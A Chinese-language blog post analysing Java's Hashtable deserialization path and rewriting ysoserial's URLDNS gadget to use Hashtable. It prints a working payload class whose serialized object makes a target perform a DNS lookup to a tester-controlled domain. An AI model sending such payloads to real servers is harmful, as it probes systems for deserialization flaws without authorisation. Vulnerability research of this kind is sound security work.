今天在公司分析cve-2020-2551漏洞的时候,发现了一个新的类,叫hashtable。
看了下,实现了Serializable的接口,说明这个类是可以序列化的。符合pop链的条件之一。
接下来看下hashtable的readobject方法:
1 private void readObject(java.io.ObjectInputStream s) 2 throws IOException, ClassNotFoundException 3 { 4 // Read in the threshold and loadFactor 5 s.defaultReadObject(); 6 7 // Validate loadFactor (ignore threshold - it will be re-computed) 8 if (loadFactor <= 0 || Float.isNaN(loadFactor)) 9 throw new StreamCorruptedException("Illegal Load: " + loadFactor); 10 11 // Read the original length of the array and number of elements 12 int origlength = s.readInt(); 13 int elements = s.readInt(); 14 15 // Validate # of elements 16 if (elements < 0) 17 throw new StreamCorruptedException("Illegal # of Elements: " + elements); 18 19 // Clamp original length to be more than elements / loadFactor 20 // (this is the invariant enforced with auto-growth) 21 origlength = Math.max(origlength, (int)(elements / loadFactor) + 1); 22 23 // Compute new length with a bit of room 5% + 3 to grow but 24 // no larger than the clamped original length. Make the length 25 // odd if it's large enough, this helps distribute the entries. 26 // Guard against the length ending up zero, that's not valid. 27 int length = (int)((elements + elements / 20) / loadFactor) + 3; 28 if (length > elements && (length & 1) == 0) 29 length--; 30 length = Math.min(length, origlength); 31 32 if (length < 0) { // overflow 33 length = origlength; 34 } 35 36 // Check Map.Entry[].class since it's the nearest public type to 37 // what we're actually creating. 38 SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length); 39 table = new Entry<?,?>[length]; 40 threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); 41 count = 0; 42 43 // Read the number of elements and then all the key/value objects 44 for (; elements > 0; elements--) { 45 @SuppressWarnings("unchecked") 46 K key = (K)s.readObject(); 47 @SuppressWarnings("unchecked") 48 V value = (V)s.readObject(); 49 // sync is eliminated for performance 50 reconstitutionPut(table, key, value); 51 } 52 }
和hashmap很像,实际上hashmap和hashtable作用真的很像,导致他们的代码内部也很像。根据hashmap的经验,去追了一下reconstitutionPut方法,
1 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) 2 throws StreamCorruptedException 3 { 4 if (value == null) { 5 throw new java.io.StreamCorruptedException(); 6 } 7 // Makes sure the key is not already in the hashtable. 8 // This should not happen in deserialized version. 9 int hash = key.hashCode(); 10 int index = (hash & 0x7FFFFFFF) % tab.length; 11 for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { 12 if ((e.hash == hash) && e.key.equals(key)) { 13 throw new java.io.StreamCorruptedException(); 14 } 15 } 16 // Creates the new entry. 17 @SuppressWarnings("unchecked") 18 Entry<K,V> e = (Entry<K,V>)tab[index]; 19 tab[index] = new Entry<>(hash, key, value, e); 20 count++; 21 }
发现了int hash = key.hashCode();说明hashtable下面的key也是会进行hashCode()的操作,和hashmap的URLDNS链异曲同工,那么就简单了,URLDNS2的改写就很简单,直接把hashmap类改成hashtable即可。
源码如下:
1 package ysoserial.payloads; 2 3 import ysoserial.payloads.annotation.Authors; 4 import ysoserial.payloads.annotation.Dependencies; 5 import ysoserial.payloads.annotation.PayloadTest; 6 import ysoserial.payloads.util.PayloadRunner; 7 import ysoserial.payloads.util.Reflections; 8 9 import java.io.IOException; 10 import java.net.InetAddress; 11 import java.net.URL; 12 import java.net.URLConnection; 13 import java.net.URLStreamHandler; 14 import java.util.Hashtable; 15 16 @SuppressWarnings({ "rawtypes", "unchecked" }) 17 @PayloadTest(skip = "true") 18 @Dependencies() 19 @Authors({ Authors.GEBL }) 20 public class URLNDS2 implements ObjectPayload<Object> { 21 @Override 22 public Object getObject( final String url1) throws Exception { 23 String url = "https://3.s.xxx.com"; 24 //Avoid DNS resolution during payload creation 25 //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. 26 URLStreamHandler handler = new URLDNS.SilentURLStreamHandler(); 27 28 Hashtable ht = new Hashtable(); // HashMap that will contain the URL 29 URL u = new URL(null, url, handler); // URL to use as the Key 30 ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 31 32 Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 33 34 return ht; 35 } 36 37 public static void main(final String[] args) throws Exception { 38 PayloadRunner.run(URLNDS2.class, args); 39 } 40 41 /** 42 * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 43 * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 44 * using the serialized object.</p> 45 * 46 * <b>Potential false negative:</b> 47 * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 48 * second resolution.</p> 49 */ 50 static class SilentURLStreamHandler extends URLStreamHandler { 51 protected URLConnection openConnection(URL u) throws IOException { 52 return null; 53 } 54 55 protected synchronized InetAddress getHostAddress(URL u) { 56 return null; 57 } 58 } 59 }
URL实例还是作为触发hashtable的hashCode存在。
run 跑一下:
成功收到dns记录。